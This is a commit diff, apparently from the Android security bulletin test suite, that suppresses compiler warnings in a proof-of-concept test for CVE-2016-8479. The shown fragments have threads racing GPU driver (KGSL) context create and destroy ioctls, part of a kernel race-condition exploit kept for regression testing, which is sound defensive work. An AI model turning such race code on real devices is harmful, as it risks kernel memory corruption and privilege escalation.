Fix/suppress warnings
Test: presubmit
Bug: 219872355
Change-Id: I16cc806acf398c0899916a1acd8e7bbdfc02edfc
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/Android.bp
index eecb3dc..a881a6b 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/Android.bp
@@ -35,6 +35,7 @@
"-Wno-format-nonliteral",
"-Wstrict-prototypes",
"-Wmissing-prototypes",
+ "-Wno-unused-but-set-variable",
"-Wno-unused-parameter",
"-Wno-unused-variable",
"-Wno-macro-redefined",
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c
index 5d4950a..78dcfcf 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c
@@ -124,39 +124,36 @@
}
void* child_ioctl_0(void* no_use) {
- int ret = 1;
time_t test_started = start_timer();
struct kgsl_drawctxt_destroy kdd = {0};
kdd.drawctxt_id = kgsl_id;
set_affinity(1);
while (timer_active(test_started)) {
- ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &kdd);
+ ioctl(fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &kdd);
}
return NULL;
}
void* child_ioctl_1(void* no_use) {
- int ret = 1;
time_t test_started = start_timer();
struct kgsl_drawctxt_destroy kdd = {0};
kdd.drawctxt_id = kgsl_id;
set_affinity(2);
while (timer_active(test_started)) {
- ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &kdd);
+ ioctl(fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &kdd);
}
return NULL;
}
void* child_ioctl_2(void* no_use) {
- int ret = 1;
time_t test_started = start_timer();
struct kgsl_drawctxt_create kdc = {0, 0};
kdc.flags = KGSL_CONTEXT_PREAMBLE | KGSL_CONTEXT_NO_GMEM_ALLOC;
set_affinity(3);
while (timer_active(test_started)) {
- ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_CREATE, &kdc);
+ ioctl(fd, IOCTL_KGSL_DRAWCTXT_CREATE, &kdc);
kgsl_id = kdc.drawctxt_id;
}
return NULL;
@@ -166,8 +163,8 @@
int i, ret;
time_t test_started = start_timer();
struct kgsl_drawctxt_create kdc = {0, 0};
- kdc.flags = KGSL_CONTEXT_PREAMBLE | KGSL_CONTEXT_NO_GMEM_ALLOC;
struct kgsl_drawctxt_destroy kdd = {0};
+ kdc.flags = KGSL_CONTEXT_PREAMBLE | KGSL_CONTEXT_NO_GMEM_ALLOC;
/* bind_cpu */
set_affinity(0);